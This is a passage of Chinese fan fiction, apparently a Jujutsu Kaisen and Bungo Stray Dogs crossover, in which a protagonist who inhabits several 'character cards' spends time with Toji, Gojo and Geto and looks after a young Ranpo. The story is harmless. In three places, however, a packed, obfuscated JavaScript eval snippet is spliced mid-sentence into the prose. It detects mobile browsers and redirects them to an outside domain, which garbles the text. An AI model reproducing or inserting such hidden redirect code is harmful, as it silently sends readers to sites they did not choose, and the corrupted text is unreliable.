微凉的晚风无声地裹住夜行之人,当他踏入灯火通明的城区时,周身仍旧带着挥之不去的、从山野间沾染到的冷意。 便利店自动门的开合声响起,少年穿着略显宽松的黑色大衣从里走出来,手里捏着盒未拆封的香烟。 他随便找了个街边长椅坐下,拆开烟盒抽出一支烟,低头点燃。 橘红的火苗窜起,短暂地照亮少年白皙的下颚,他含住滤嘴吸了一口。 ——“咳!咳咳……” 辛辣的烟雾涌入肺部,少年压抑不住的呛咳出生,生理性的泪水慢慢模糊了他的眼瞳。 他有些狼狈地缓过气,随后便仰起头,失神地望着头顶那盏散发暖黄色光晕的路灯。 过了一会儿,或许有五分钟。 一道高大、极具压迫感的身影带着一股浓烈到近乎呛鼻、混杂着酒精与脂粉气息的女士香水味,自然地坐到了少年身旁。 来人极其熟稔地伸手。 两根有着厚茧的手指轻巧地将他只抽了一口、就夹在指尖任其燃烧的香烟拈了过去。 “哟。” 男人低沉沙哑的嗓音响起,尾音上扬,藏着说不出的愉悦。 他将从少年指间夺来的烟叼在嘴中,侧过头,深潭般幽暗的绿色眼眸透过缭绕的烟雾看向没有表情的伏黑隐。 “不是说这辈子不会再看我的消息了吗?” 伏黑隐低下头,用力地眨了眨酸涩刺痛的眼,缓解着因为直视路灯太久、而不管看什么都会带着明亮光斑的眼睛。 等到能够正常视物之后,他才抬起头,用那双在路灯下盛着碎光的眼眸看向身侧之人。 少年身上面对高专众人时那种刻意为之的、阳光开朗的伪装,此刻褪得一干二净。 他安静下来时的眉眼间烙印着化不开的疲惫,连声音也失去了惯有的活力。 “都说了,不要用你勾引女人的方式对待我啊。” 没有多少斥责。 伏黑隐的语气更多的是一种无可奈何。 他显然也没指望身旁的男人会对这句话有什么回应,不等男人开口,伏黑隐便主动切入主题。 “所以喊我出来,到底有什么事?” 要知道在他前往总监会之前,他们吵了一架,已经有四天没有说过话了。 身侧之人吐出一口烟圈,话语是惯常的痞气与玩世不恭,“看你有没有把我拉黑,随便发的消息。” 伏黑隐无语:“……没什么事我就走了。” 一只对于他而言有些温烫的掌心按住他的头顶,用力地揉了揉,男人点评道:“假发质量不行啊,小鬼。” “没办法,白头发还是太过显眼了……当初就是因为这个才那么容易……” 伏黑隐嘀咕道:“早知道之前就听你的意见,把头发染成黑色了。” 男人熟练地从他大衣里翻出烟盒和打火机,又点燃一根烟:“现在去染?我晚上赚了点钱,可以让你白嫖一次。” “不需要了。”他摇头,“毕竟还是要回去的。” 听到这句话,男人身上原本带着的轻松愉悦的气息瞬间消失了。 他扭头看着伏黑隐,暗沉的绿色眼眸倒映出少年纤细高挑的身影。 良久, 禅院甚尔嗤笑一声。 男人嘴角勾起一个毫无温度、充满嘲讽的笑。 “就非要去当那些家伙的走狗?” 最后两个字被他咬得极重,带着毫不掩饰的戾气,狠狠砸在他们本就摇摇欲坠的关系之上。 ‘不,那是因为除了你之外,老子还要看着另外两个人。’ 没有点满说谎技能的神隐腹诽,表面上仍旧让伏黑隐维持着那副温顺疲倦的沉默模样。 他像是默认了禅院甚尔的话,搭在腿上的指尖蜷缩,金眸看着自己脚边被路灯拉长的影子。 时间在空气中艰难爬行了不知道多久。 可能过了很久,又可能只有几分钟,少年才开口,声音近乎呓语的飘忽。 “我只是……想找到自己存在的意义。” 他平视着前方,目光穿透眼前绚丽的霓虹,落向某个遥远而模糊的地方。 “我不想一直这样。” 禅院甚尔看着他,绿眸中有什么东西在剧烈地翻涌着,又在伏黑隐察觉到之前被强行压下,最终化为一片深不见底的、令人心悸的沉寂。 “啧。” 一声短促而冰冷的音节打破死寂。 似乎终于觉得这场对话索然无味到了极点,禅院甚尔豁然起身。 没有道别,没有多余的言语,甚至连眼神都吝于给予,山峦般的身影没有丝毫留恋,背对着伏黑隐大步离开,迅速融入了远处迷离的光影里。 再一次恢复独身的少年仍旧坐在长椅上。 他睁着眼,注视着霓虹灯下的车水马龙。 飞驰而过的车灯拖拽出模糊光带,路灯映出行人匆匆的剪影。 耳边是车流间尖锐的鸣笛、辨别不清的谈笑与偶尔飘进耳中的流行音乐……所有声音交织成一片混沌的噪音,化作这座城市中永不疲惫的轰鸣。 而这一切,都与他隔着一层厚厚的、冰冷的无形玻璃罩。 世界近在咫尺,又遥不可及。 它们无法在他疲惫到极点的意识上留下任何痕迹。 伏黑隐安静地坐了很久。 …… [噢耶!又赢了!] [我们不愧是金牌搭档!] 和搭档一起在联机游戏中鏖战到后半夜,意识精神抖擞地回到角色卡里的伏黑隐这才站起身。 寒风穿过少年单薄的躯体,无情地刮过消瘦的脊梁。 畏寒的他打了个哆嗦,下意识将大衣裹得更紧。 接着,他便独自踏上了回到高专的路。 [话说回来,你那句台词抄袭了吧?] [放心吧,甚尔不会记得这句话的。] - 直到彻底看不见伏黑隐的身影,禅院甚尔才从街角的阴影里走出来。 他定定地看了一眼少年消失的方向。 接着,从嘴里吐出一只咒灵,将还在缓缓向下滴淌着血液的刀放进了名为丑宝的咒灵身体里。 越过几具姿态扭曲、脸上凝固着“不可置信”的惊骇表情的诅咒师尸体。 禅院甚尔从口袋里掏出伏黑隐那盒只抽了两根的香烟。 “嚓——” 打火机跳动的火苗在黑暗中燃起,短暂地照亮了他棱角分明、写满冷漠与沉思的脸庞。 火苗很快熄灭。 只余一点猩红在浓稠的夜色里明灭不定地闪烁。 …… 禅院甚尔是伏黑隐碰瓷的第一个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553952|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 当然了严格意义上来说这也算不上是碰瓷。 这是世界意识的精准投喂。 ——[我的宝贝绝对不能姓禅院!!] 在世界意识的呐喊中,伏黑隐挑挑拣拣梳理着祂打包送过来关于禅院甚尔的信息。 目前战力最强的天与暴君。 入赘改姓伏黑后又把儿子卖给老家拿了十个亿,最后全部“投资”进了赌马场。 第二年死于星浆体事件,是促使五条悟成为最强的最主要原因之一。 ——酷。 神隐羡慕地给出了评价。 大多时候,只能成为老硬币的『双面鬼』伏黑隐十分眼馋这个纯粹的、不含一丝水分的战力。 [别想了,弱鸡。] 冰冷的智能说出冰冷的话语,如同大冬天的一桶冷水浇溉在头顶。 [我恨你。] 被搭档战力歧视的伏黑隐眼含热泪地将这个重伤昏迷的男人治好伤。 - 至于为什么目前最强战力会受重伤? 世界意识笑而不语。 - 说实话,最开始的禅院甚尔真的非常不好接近。 那满身的尖刺与极端的戒备,差点让快把肝干废的神隐新开一张角色卡就地催眠他。 然而这个冲动的行为被世界意识尖叫着制止了。 对于身为天与咒缚的禅院甚尔来说,催眠只会起到反效果。 ——哈哈,妈的,神他妈的天与咒缚。 伏黑隐花费了相当长的时间与精力才成为了他的固定搭档。 而后又耗费了半年时间带着年幼的妹妹与痴呆的弟弟登堂入室 是的,痴呆的弟弟同样是神隐的角色卡。 只是因为还没有想好设定与身份的原因,只暂时给他安上了一个高武力值的设定,还有自动启动保护状态的挂机模式,就丢到津美纪面前守护她的安全了。 不过大多时候,都是津美纪照顾这个痴呆弟弟多一点……伏黑隐叹气,好在禅院甚尔对这个角色卡没有什么偏见。 倒是禅院甚尔的儿子,也就是世界意识执着改姓伏黑的刺猬头小孩很粘他。 那双与他的父亲相似、看人时总带着警惕的绿色眼眸在面对伏黑隐时,总会不自觉流露出宛如雏鸟般的依赖和安心。 但是该怎么让禅院甚尔改姓呢? 神隐在苦恼的思考。 [就说——甚尔,我准备当你爸爸了,你以后就姓伏黑了!] [闭嘴,滚出我的脑子。] 距离禅院甚尔死亡的时间还有半年时间,现在有更重要的事情摆在神隐面前。 他需要保护星浆体天内理子活下去。 其实可以另开一张角色卡去到天内理子身边、或者入学高专,但作为究极摸鱼大师的神隐和搭档一合计,打算再节省一点。 反正改姓这个任务也不着急。 只要在小惠入学高专之前改姓就可以了。 于是在某一天,伏黑隐突然对禅院甚尔说——“我要去高专。” 禅院甚尔没同意。 他们便很自然地吵了一架。 这不是他们第一次吵架,在禅院甚尔面前,伏黑隐的脾气总是一点就炸。 他们吵过很多回,这是最激烈的一次。 伏黑隐将计就计离家出走,将伏黑津美纪和伏黑白都交给孔时雨,独自踏上了求学之路。 至于一个诅咒师怎么找到总监会? 这个简单,世界意识直接用一台报废的汽车从斜坡落下精准无比地撞废了一个总监会的走狗。 然后,就到了心地善良素质不详的天使出场了。 [你要脸吗?] [你管得着吗你,老子现在就是天使。] 而这就是伏黑隐、也就是他最早降落在这个世界的角色卡的全部故事。 5. 第 5 章 等伏黑隐回到高专,天际已经泛起一点白线了。 他准备像离开时那样,沿着宿舍楼墙体,利用各层阳台作为落脚点,攀爬回自己的宿舍。 而就在伏黑隐堪堪搭上某一层的栏杆时,一只手突然钳住了他的腕骨。 ——“哈哈!老子抓到你了!!” 张扬至极的声音从上面响起,有些熟悉。 没想到来到高专第一天就翻车了…… 伏黑隐认命地在心底叹了口气,带着被抓现行的无奈缓缓抬起头。 随后再一次撞进了那双即使在深邃黑夜中、也依旧耀眼夺目的苍蓝色眼眸。 哇哦,头等奖。 伏黑隐抬起另一只没有被抓住的手,心虚地朝上方的五条悟挥了挥。 “……嗨,五条前辈?” 抓着伏黑隐手臂的五条悟也蒙了。 他显然也没有想到,大晚上不睡觉从阳台往下跳四处溜达的家伙居然会是伏黑隐。 原本得意中混杂着一丝好奇的神情冻结,五条悟几乎是本能地往后一缩手。 而这一缩,也松开了那只牢牢抓着伏黑隐、维持着对方悬空平衡的那只手。 伏黑隐:“!!!” 他不可置信地瞪大眼睛。 [老子就知道!卸下那个道具之后一定会遭到报复!!] 但是这个报复来得未免也太快了吧! 在身体下坠的一刹那,伏黑隐迅速举起手臂。 细微的机括声响起,精钢打造的钩爪从坠落的少年袖口中射出,死死勾住了上方阳台的栏杆。 借着钩锁绷直的力道,伏黑隐腰腹用力,控制住了失衡的身体,接着,他小腿往墙壁上狠狠一蹬,翻身落到了五条悟的阳台上。 直到双脚终于踏上坚实的地面,伏黑隐才后知后觉地感到一阵腿软,他心有余悸地拍拍胸口,随即抬头,用谴责的目光望向五条悟。 “五条前辈……” 少年的声音还残留着一丝劫后余生的后怕,“下次松手的时候,拜托提前说一声啊……差一点就真的摔下去了。” 从松手那刻,就一直维持着松手这个姿势宕机的五条悟闻言,忽然像是被火烫到一样,整个人夸张地原地弹跳了一下飞快跳到房间内,一把拉上了阳台的门。 紧接着,音量拔高了好几度、试图用气势掩盖情绪的声音隔着木门响起。 “明明应该怪你大晚上鬼鬼祟祟莫名其妙爬到老子阳台上吧!!” 确实做贼心虚的伏黑隐抓抓头发。 “啊……好像确实是这样……”伏黑隐说着,有些尴尬地停顿了片刻,语气也弱了几分:“实在抱歉啊五条前辈。” 他下次换一个阳台跳。 门内传来一声带着十足孩子气的“哼!”。 下一秒,门又被从里打开,一个手柄被扔进了伏黑隐的怀里。 “都怪你把老子吵醒了!现在老子睡不着了——”他顿了顿,语气陡然变得恶劣又任性,“所以,你也不准睡!” - 就这样,伏黑隐进入了五条悟的宿舍里,坐在了五条悟的沙发上,吃着五条悟的零食,玩着五条悟的游戏。 看着屏幕上弹出的【通关成功】,伏黑隐放下手里刚啃了一半的威化饼干,非常捧场地举起双手,啪啪啪鼓起掌来。 “五条前辈好厉害!” 五条悟被夸得有些飘飘然。 他仰起头,嘴角高高扬起,几乎要咧到耳根,那股儿得意劲看起来简直要冲破天花板。 “老子也这样觉得。” 伏黑隐被五条悟这毫不掩饰的自恋逗得弯弯眼睛,他起身,在五条悟堆成小山的游戏碟里翻了翻,抽出一盒。 是市面上近期比较流行的对战游戏。 “五条前辈,我们来玩这个吧。” 五条悟拿起手柄,六眼扫过游戏封面。 他习惯性扬起下巴,用格外欠揍的腔调对着伏黑隐说了句:“你不会被老子打到哭鼻子吧?先说好,老子不会手下留情的哦。” “我可是很厉害的!” 伏黑隐坐回沙发,也拿起手柄,完全没有把前辈的话放在心里。 “再厉害也不会有老子厉害。” 五条悟按下了开始键。 - 十分钟后。 屏幕上自己操控的角色血条清零,大大的【YOU LOSE】弹出。 第一轮就惨败的五条悟猛地扭头,看向旁边那个正小口小口嘬着草莓牛奶的卷毛后辈。 “再来!!!” - 二十分钟后。 伏黑隐操控的角色被五条悟一套华丽的连招打飞,血槽清空。 五条悟正想得意地“哈!”一声,就见伏黑隐眨巴着大眼睛,非常自然地伸手从薯片袋里抓了一把塞进嘴里,腮帮子鼓鼓囊囊,完全没有哭鼻子的迹象。 五条悟:“……啧。” 有些失望是怎么回事。 - 时间就在“YOU WIN!”、“YOU LOSE!”的电子提示音中,再伴随着咔嚓咔嚓的吃薯片声、吸溜吸溜的喝牛奶声,以及五条悟时不时的“哈?!”、“这不可能!”、“再来!”的嚷嚷声中悄然流逝。 当窗外第一缕微弱的晨曦透过窗帘缝隙,悄悄爬上游戏屏幕的边缘时—— 屏幕上,五条悟的角色血条归零,巨大的【YOU LOSE】字样缓缓浮现。 伏黑隐坐在沙发上,悄悄打了个哈欠,眼角渗出一点生理性泪水,怀里还抱着个空了的饼干盒。 他看向窗外。 天亮了。 “再来一把!” 五条悟现在非常亢奋,他明显和伏黑隐杠上了,不决出个真正的胜负决不罢休。 神隐在意识中吐魂:[……我不行了……我要吐了……] 他其实早在第四场对局的时候,就已经玩腻了。 只是因为想着多刷点五条悟的好感度,才硬抗到现在……五条悟都不会累的吗?!! 最后,实在不想打了的伏黑隐依靠系统作弊,连续打败五条悟两场对局,赢得了这场游戏的胜利。 终于——结束了。 他无声地松了一口气。 接着,伏黑隐放下手柄,绽放出一道阳光灿烂、带着点小得意的笑容。 “五条前辈,看来这一把也是我赢了呢。” “再来一把!!” 彻底被点燃胜负欲的五条悟将手柄重新塞回了伏黑隐手里。 伏黑隐:“……” 不,我真的不想打了。 他试图提醒:“前辈,已经要八点了。” 所以现在该去上课了吧? “那种事情无所谓啦!” 注意力全在游戏身上的五条悟大手一挥,带着不容拒绝的亲昵和赖皮说道:“隐再陪老子来一把!就一把!” 而夏油杰就是在这个时候推开了宿舍门。 “悟,要上课——” 夏油杰的声音戛然而止。 丸子头少年维持着半只脚进门的动作,一脸不可思议,“伏黑同学?” “早上好夏油前辈!” 伏黑隐开心地朝夏油杰打招呼。 他看起来真的很开心,就连手里的游戏手柄落到沙发上了也没在意。 趁着五条悟去洗漱的间隙,夏油杰陪着伏黑隐回宿舍换衣服,在上课的时候,他犹豫再三,还是选择问了出来。 “伏黑同学……怎么会在悟的宿舍里?” 决定痛改前非当个好学生的伏黑隐回答:“因为在晚上偷偷溜出去的时候,被五条前辈抓住了。” 他甚至还坦诚地指了指阳台的方向。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553953|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这、这么诚实的吗? 夏油杰有些惊讶:“离开高专吗?” “嗯。”伏黑隐将最后一块威化饼干吃掉,“有点担心我的家人嘛,毕竟这是我第一次离开他们。” 他知道夏油杰昨天看过自己的全家福,便顺理成章地挑了这个理由,“我担心他们寄宿的主人家在照顾上会有些疏忽,就忍不住擅自跑过去看了看。” 夏油杰信了。 但他又很快想到了其他的问题。 “冥冥的乌鸦……” “啊,那个啊。”伏黑隐摆摆手,对夏油杰露出一道明媚的笑,“冥冥前辈被我收买了。” “只要夏油前辈和五条前辈不要说出去,总监会那边肯定不会发现的。” 他说着,双手合十做出拜托的手势。 “所以就拜托夏油学长不要告诉其他人啦。” 少年刻意伏低了身子,从下往上以仰视的姿势望着夏油杰。 不知是困倦还是其他原因,他灿金色的眼瞳里也蒙着一层湿润的薄雾,显得格外柔软。 以这样的视角去看…… 好、好可爱!! 夏油杰抬手捂住上半张脸,试图掩盖住瞬间升温的脸颊。 “伏黑同学,不用这样我也会答应你的。” 从指缝中透出的声音闷闷的,藏着些不易察觉的害羞。 卷毛少年眨眨眼睛,伸手将一块饼干塞进他的嘴里。 “谢谢夏油前辈!” 咬着饼干的夏油杰默默低下头。 他的脸又开始发烫了。 - 等夏油杰整理好情绪冷静下来,重新端起前辈温和镇定的姿态时,伏黑隐还在梳理自己的头发。 少年的卷发极不好打理,稍大的动作就会变得杂乱,平时全靠多个与发色相同的细长发卡,才能勉强将它们固定住。 对着镜子,他将最后一缕炸开的白毛梳平,然后取出了自己的发卡戴上。 不知道为什么,今天心情格外好的伏黑隐拿起书桌上的收纳盒打开,“夏油前辈你看!” 收纳盒里铺着一层绒布,上面别着好几个表情各异、但都无比精致可爱的小狗造型的发卡。 有戴着小礼帽的,有系着粉色蝴蝶结的,还有顶着草莓橘子或者裱花蛋糕的毛绒小狗,每一个都憨态可掬,做工精细得像是艺术品。 这是为了防止五条悟和夏油杰发现不对劲,搭档特意一比一复制的无能力道具。 “这些都是小白清醒的时候,送给我的礼物,小白说看到它们,就是看到他了。” 伏黑隐笑着说:“虽然不是很像,但我已经习惯戴着它了。” 相片里,两个年纪相仿的孩子簇拥在少年身侧。 站在右边的黑发男孩睁着双无神的血红色眼睛,直视着镜头方向。 在昨天,夏油杰第一时间注意到的是他与伏黑隐极其相似的面容。 当时只顾着惊叹兄弟间相像的程度了。 现在再看的时候,夏油杰才发现照片里的男孩没有眼白。 “他的眼睛……是生病了吗?” 下意识问出来之后,夏油杰才突觉不对。 学的术式不就是治愈吗? 伏黑隐倒没觉得这有什么问题,他道:“小白的灵魂出了问题,这不是我的术式能够治愈的病。” “啊,这样啊……”夏油杰有些懊恼,“抱歉。” 将相框放回去的少年拍了拍夏油杰的肩膀。 他似乎一直都是这一副开朗模样,不管什么东西都不能将这道身躯压垮。 “夏油前辈不用感到抱歉的,因为我已经找到治疗小白的办法了。” 说着,换好制服的伏黑隐转到夏油杰身后,推着他一起离开了宿舍。 “好了夏油前辈,我们现在去找五条前辈和家入前辈吧!” 6. 第 6 章 和一年级的三个人一起进入教室,聊了一小会儿天,五条悟和夏油杰便接到任务离开了。 伏黑隐和两人道别,从书包里拿出三明治,还没开始吃,家入硝子就收起手机走到他面前。 “走吧,去医务室。” “诶?”伏黑隐疑惑,“现在不是上课的时间吗?” “医务室的病人也是课业。” 手上同样拿着份三明治的家入硝子说完,戳了戳他头顶戴着礼帽的小狗发卡。 “至少对我们两个而言,这也是上课,走吧伏黑,带你认认路。” …… …… 这是江户川乱步将藤原千学带回来的第十天。 藤原千学醒过来的时候,江户川乱步已经离开去工作了。 目光扫过空荡荡的房间,在发现确实没有人影后,他才慢吞吞从床上坐起身,望着前方发呆。 过了一会儿,彻底醒过来的藤原千学爬下床,拿起桌上冷掉的饭团。 没有选择加热,他撕开包装,小口小口细嚼慢咽地吃着,刚刚吃上第三口,垂头丧气的江户川乱步就推开门走了进来。 看见少年表情,明白了什么的藤原千学咽下嘴里的食物,主动问:“为什么要开除你?” 江户川乱步坐在藤原千学身边沮丧地摘下帽子,翠绿的眼眸里满是不理解。 ”他们说我总是弄丢信件,但是——” 他抓了抓头发,对藤原千学抱怨道: “那些信件要么是塞在邮箱里积灰、根本不会有人去看的广告单,要么就是毫无意义的废话,反正最后收到邮件的人也会把信丢掉……既然结果都是被丢掉,早一点丢和晚一点丢有什么区别?!” “搞不懂大人们到底在想些什么……” 藤原千学安静地听着,没有打断他的话。 等到江户川乱步用充斥着不解的声音说完,他将没动几口的饭团分出了一大半给他。 “不要伤心。”男孩的声音有着斩钉截铁的笃定,“他们都是蠢货。” 少年把半个饭团全部塞进了嘴里。 他鼓起腮帮子,说:“所以我们要搬家啦!” - 用仅剩的钱找了一个廉租房,重新穿上那身警校生服饰的江户川乱步嘟囔:“没有换洗衣物了。” 穿着江户川乱步唯一换洗衣物的男孩闻言,理解道:“我可以不穿这个。” 他有每天定时刷新的角色卡默认时装。 “不用啦,衣服什么的,只要找到工作之后就不是问题了!” 江户川乱步自信地对藤原千学说道。 然后—— 藤原千学看着他找到一个工作,被辞退、找到一个工作,被辞退、找到一个工作,被…… “明明都是一眼就能看出来的事情,为什么他们都要装作不知道啊!” 因为口无遮拦揭开店长或客人的秘密,再一次被辞退的江户川乱步红着眼眶坐在床边,向藤原千学抱怨着大人们的不可理喻。 一个月了,他们还是身无分文。 冰冷的现实宛如夜间雨时刮过的寒风,无孔不入地钻进这间廉价的出租屋。 而即使是如此低廉、破旧的房屋,也不会一直为他们遮挡风雨——房子的租期就快要到期了。 藤原千学把手里的面包对半分开,递到江户川乱步抿起的嘴边。 “没关系。”尝试着安抚少年内心情绪的他声音很轻,“我陪着你。” - 神隐其实有些心累。 他在之前就说过很多次那些人都是蠢货,没必要去理会。 结果每次都被江户川乱步忽视过去…… 这真的正常吗?! [不是说跟着你的孩子就能够吃香的喝辣的嘛!老子已经吃了一个月的糠咽菜了!!] 世界意识:[不急,快了,好日子马上就来了。] - 江户川乱步突然动了。 他猛地转过身紧紧抱住藤原千学,就像是要将这段时间受到的委屈惶恐全部释放出来一样,呜哇一声大哭起来。 “我害怕……这个世界好可怕!我好害怕——千学,我害怕!!” 少年将脸埋在男孩瘦削的肩膀上,滚烫的泪水汹涌而出,很快濡湿了藤原千学那块的衣服。 藤原千学被这双手臂勒得有些喘不过气。 但他没有选择挣扎。 只是在那紧到快要窒息的怀抱里,艰难地、缓慢地抬起手,轻轻覆在比他大了四岁的少年那头凌乱黑发上。 - 感受着面前之人不断颤抖的身体,神隐在意识里轻轻叹了口气。 [这孩子真的必须要经历这些吗?实在不行让我换张角色卡来养他吧。] 世界:[您相信我,这只是为了让乱步遇到最适合他、同时也是最好的人。] 神隐:[苦难是幸福的前提吗?] 世界意识被问住了,短暂地陷入了沉默中。 神隐没有再说话,他用藤原千学的躯壳温柔地抚摸着少年颤抖的脊背。 “不要害怕,我会一直陪着你。” 他再一次说出这句话。 - 在租期的最后一天,江户川乱步牵着藤原千学的手,重新踏上了找工作的旅程。 然而带着一个什么都做不了的“拖油瓶”,让本就求职困难的江户川乱步更加寸步难行。 每一扇敲开的门都比从前关闭得更快、更无情。 ——又是求职失败的一天。 傍晚时间,两个人并排坐在路边的长椅上,啃着一位便利店店员偷偷塞给他们的面包。 夕阳将他们依偎着的身影拉得很长。 藤原千学依旧吃的很慢,在他刚开始咬第二口的时候,江户川乱步已经开始舔舐手指上残留的甜味与碎屑了。 看到江户川乱步明显没有吃饱的表现,他如往常一样对半掰开,把没有啃过的一面递给江户川乱步。 少年接过,三两口吃完之后还是一副无精打采的样子,藤原千学便又将自己咬过的地方撕干净,放到了身旁人的手中。 看着江户川乱步吃完,藤原千学才伸出手,指向告示栏上、方才被人贴上的政府求职补助的传单。 “你可以去试试这个。” 上面显眼的地方写着一串号码。 - 第二天。 睡在一间废弃房子里的两个人听到了电话铃声。 在藤原千学迷迷糊糊与睡梦作斗争时,躺在他身边的人迅速拿起了电话接通。 他听到少年用压低的声音说:“你好?” 等到彻底清醒过来,江户川乱步已经高兴地挂断了电话,走过来拉住藤原千学的手。 “我们去面试!” 少年的声音清脆响亮,充满了久违的活力。 藤原千学被他拉着手站起身。 他抬起头,看着江户川乱步的侧脸轻轻地点了点头。 “好。” - 清晨的阳光铺在干净的街道上。 穿着宽大警校生制服的男孩坐在离这座气派大楼最近的一个花坛上,目送着与他穿着相同衣服的少年走了进去。 他安静着降低了自己的存在感,如同高楼下的一抹阴影。 - 搭档:[来,打游戏!] 神隐:[来了来了!] - 藤原千学看着警车快速包围了商社大楼。 训练有素的警察们散开,构筑起一道严密的封锁线,彻底堵死了里面之人任何可能的逃生路线。 空气中弥漫着紧张而肃杀的气息。 而藤原千学只是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16553954|186844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看着,仿佛一切都不会令他觉得惊讶。 他在那里等了很久。 直到有人押送着一个头发锈红的人走进警车。 几乎在同一时刻,商社那扇厚重的玻璃门再次被推开。 江户川乱步脚步轻快地跟着一位面容冷峻、穿着和服的银发青年走了出来。 他看着江户川乱步仰头兴奋地在和男人说着什么,而后用亮晶晶的翠绿眼眸看向花坛边坐着的自己。 江户川乱步毫不犹豫朝他所在的方向跑了过来。 “千学,我们有住的地方了!” 少年的声音因为激动而拔高,他牵起男孩的手快步跑向了原地等候的青年。 藤原千学被拉着向前,来到了银发青年的身前。 他抬起头,黝黑的眼眸直直看向福泽谕吉,接着毫不犹豫对江户川乱步说道:“他杀过很多人。” “没关系啦,大叔要请我们吃饭呢!” 对福泽谕吉过去不感兴趣的江户川乱步满脑子都是吃东西,他晃了晃两个人交握的手。 “千学,乱步饿了嘛。” “……” 重新陷入沉默的男孩被少年牵着走进一家散发着食物香气、干净整洁的店里。 “要红豆麻薯!” 他朝店员说出一个足够多的份量。 福泽谕吉的眉头微不可觉地动了一下。 等到点好的红豆麻薯全部上桌,江户川乱步将三份红豆麻薯推到藤原千学面前,“这个超级好吃的,千学你试试!” [……] 之前觉得这个角色要流浪很久,所以特意在设定上加了个『食欲极低,一口面就能吃饱』的神隐这次是真的沉默了。 孩子热情是好事。 但他真的不饿啊! 福泽谕吉发现藤原千学吃东西真的很慢。 坐在他旁边的江户川乱步已经开始挖第六个麻薯里的红豆馅了,男孩才略显艰难地吃完第一份。 是不喜欢吃这个吗? “不是啦,大叔。” 江户川乱步抬起头,嘴里还吃着红豆馅的他声音有些含糊:“是因为千学对什么食物都不感兴趣,而且吃一点点东西就会吃饱,所以才吃的那么慢的。” 感觉吞咽都有些困难了的男孩默默点头。 他仍然在警惕着福泽谕吉,时不时就用那双漆黑的眼睛看一眼青年。 这个动作在福泽谕吉带着他们回到自己屋中之后,变得更为频繁了。 福泽谕吉知道,从认识到现在只说了一句话的男孩不信任他。 或者说, 不信任所有成年人。 在江户川乱步哼着歌去洗澡的时候,福泽谕吉将临时买的换洗衣物放到了藤原千学面前。 瘦弱到根本不像是十岁孩子的男孩条件反射性地一抖,也不看到底是什么,迅速后退蜷缩成一团缩进了角落,像是要就此将自己嵌进墙里。 福泽谕吉说:“你应该去洗个澡。” “……” 角落陷入长久的沉默,只余男孩压抑不住的、颤抖的喘息。 直到淋浴室的门被打开,热气裹挟哼着不成调歌曲的少年一同出现时,藤原千学才慢慢恢复了正常。 他小心地从福泽谕吉身边拿起衣服,随后像是身后有猛兽在追似的,低着头飞快地冲进了淋浴间。 福泽谕吉:? 他看起来真的很凶吗? 感受到福泽谕吉的困惑与迷茫,江户川乱步解释道:“千学之前被大人伤害过,所以在和大人独处的时候会感到害怕。” 说完,少年同样也有些费解。 “这明明就是一眼就可以看出来的事情啊,大叔你怎么比乱步还笨啊。” 福泽谕吉:“……” 如果连你都是笨蛋的话,这个世界就不会存在聪明人了。 7. 第 7 章 他们真的很聪明。 但作为能够一眼洞穿所有秘密的孩子,他们的行为实在是过于直率与任性了。 譬如现在—— “凶手不就是那位穿蓝色西装的大叔吗?” 穿着警校制服的陌生少年越过警戒线,没等其他人反应过来就语气笃定地说道: “他愤怒于死者想要背着自己结婚,所以在食物里下了毒——可明明死者从来没有回应过他的感情吧。” 语毕,又抬手指向还在和警察说明情况的店长。 “而且店长小姐也知道这些事情,她在学生时代经常被你和死者欺负吧,所以在她发现你们回到横滨之后,就决定找人报复你们,死者的未婚夫就是那个人,其实你不杀死她她也会回来的,因为那个人现在已经拿着钱出国了。” “结果没有想到你那么偏激,直接把人杀掉了,但是她一样很开心就是了。” 面对这突如其来的一大串话,在场的人员反应不一,有看着是个少年人不相信的,有觉得发言很有道理半信半疑的,更多的,是对这毫无礼貌的闯入感到冒犯的。 唯独两个人,也就是江户川乱步话语中的两个人,他们的反应显得有些怪异。 正与警官交谈的店长小姐挑起眉,往江户川乱步所在的位置看了一眼,没有说些什么,倒是直接被指认为杀人凶手的男人脸色铁青。 江户川乱步的话一句句落下,穿着蓝色西装的男人脸色也愈发沉郁。 直到最后,像是终于忍受不住了,他猛地吼道: “胡言乱语!你以为这是你可以随便讲故事的场地吗?哪里来的小屁孩,家长都不管一管的吗?” 这边的交谈本就被餐饮店内的大多数人关注着,听到男人的厉声呛喝,两名年轻的实习警官快步进来。 留着中长发的警官讪笑着摸摸后脑勺,刚想说话打圆场,一直被江户川乱步牵着的男孩就冷着嗓音开了口。 “真奇怪,你杀死了你爱的人,为什么会觉得开心?” 经过一段时间的相处,总算愿意和福泽谕吉外出的藤原千学困惑地看向男人。 